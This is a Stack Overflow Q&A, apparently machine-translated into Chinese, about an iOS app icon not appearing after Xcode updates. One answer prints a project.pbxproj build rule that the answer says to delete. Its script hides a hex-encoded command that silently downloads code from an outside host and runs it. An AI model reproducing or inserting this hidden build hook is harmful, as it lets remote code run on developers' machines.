Xcode 10应用程序图标未显示

Vla*_*lad 23 xcode ios xcasset appicon xcode10

最近更新到Xcode 10 beta和我的应用程序,以前显示正确的图标,当从Xcode 9.4构建并运行到设备时,现在显示在Xcode 10中运行时的默认空白图标.

在此输入图像描述

打开AppIcon资产时,它会在所有占位符中正确显示图标,而不显示任何警告图标.当点击新的"显示切片"时,我什么都看不到.

任何人有任何线索如何解决这个应用程序图标显示?

dev*_*ius 29

我一整天都在与它作斗争,它不会出现在模拟器或真实设备中。

最终,我通过确保 AppIcon 的目标成员资格设置为应用程序名称并且位置是“相对于项目”来使其工作。

Xcode 截图

  • 感谢你的回答。我能够通过取消选中资产目录文件夹的目标成员资格、构建应用程序(这给出了错误)然后将目标成员资格设置回应用程序名称来解决该问题。我不必更改位置设置,该设置仍然为“相对于组”(XCode 12.4 - 12D4e) (2认同)

Ket*_*tan 24

如果您使用的是 Xcode 13 和 iOS 15

  • 安装应用程序并重新启动设备。

应用程序图标显示在设备上。

另一个棘手的解决方案,但不要使用(它仅用于测试目的,不是最佳解决方案。

  • 更改包标识符并运行项目

  • xcode 13 和 iOS15,这对我有用 (3认同)
  • 是的,这对我也有用,xcode 13 和 IOS 15 (2认同)
  • 不好,重建应用程序后图标再次消失。Xcode13 iOS15 (2认同)
  • 对此感到非常惊讶,但它确实有效 (2认同)

Grz*_*sza 11

在我的情况下,这两个选项设置错误 项目导航


Pet*_*ley 8

在6/19/18 Apple发布了xCode 10. beta 2.升级解决了我没有出现图标的问题.所以,我想xCode 10.0中的一个错误.


Ash*_*iya 8

我在xCode 12.5遇到了同样的问题所有图标都在工作,但只有应用程序图标没有显示在 iPad 和 iPhone 上。

解决方案

YouProject.xcodeproj -> 显示包内容 -> project.pbxproj -> 打开

并找出代码并删除此块并构建并运行您的应用程序。

/ Begin PBXBuildRule section /
        EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
            isa = PBXBuildRule;
            compilerSpec = com.apple.compilers.proxy.script;
            fileType = folder.assetcatalog;
            inputFiles = (
            );
            isEditable = 0;
            name = "Assets Catalog Builder";
            outputFiles = (
                "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
            );
            script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
        };
/ End PBXBuildRule section /
Run Code Online (Sandbox Code Playgroud)

  • 这个答案对我有用。我花了一整天的时间终于得到了解决方案。 (2认同)

edi*_*son 5

更新到Xcode 10 beta后,也会发生相同的问题。

我可以通过将活动的开发人员目录更改为Xcode 10来解决此问题:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

Xcode 10.0在中选择Xcode->Preferences->Locations->Command Line Tools

希望这可以帮助。

在此处输入图片说明

  • 尝试了两种更改,但这不能解决问题。仍在获取空图标。 (3认同)

小智 5

这个问题现在发生在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们找到了解决方法。

我们更改了游戏中的图标,但它没有加载到任一 Beta 设备上。我们尝试了非 Beta 版设备,效果很好。我决定安装 iOS 和 iPadOS 15 测试版的设备支持,现在如果图标发生了变化,我不会立即看到它,但如果我重新启动设备,我会看到它。我们知道图标在项目中是正确的,因为我们进行了 TestFlight 构建并且它在非 Beta 设备上工作。


Xpl*_*e06 5

在尝试其他解决方案后,这解决了我的问题。

不要忘记:

  • 卸载应用程序,
  • 重启模拟器
  • 构建您的项目

一般来说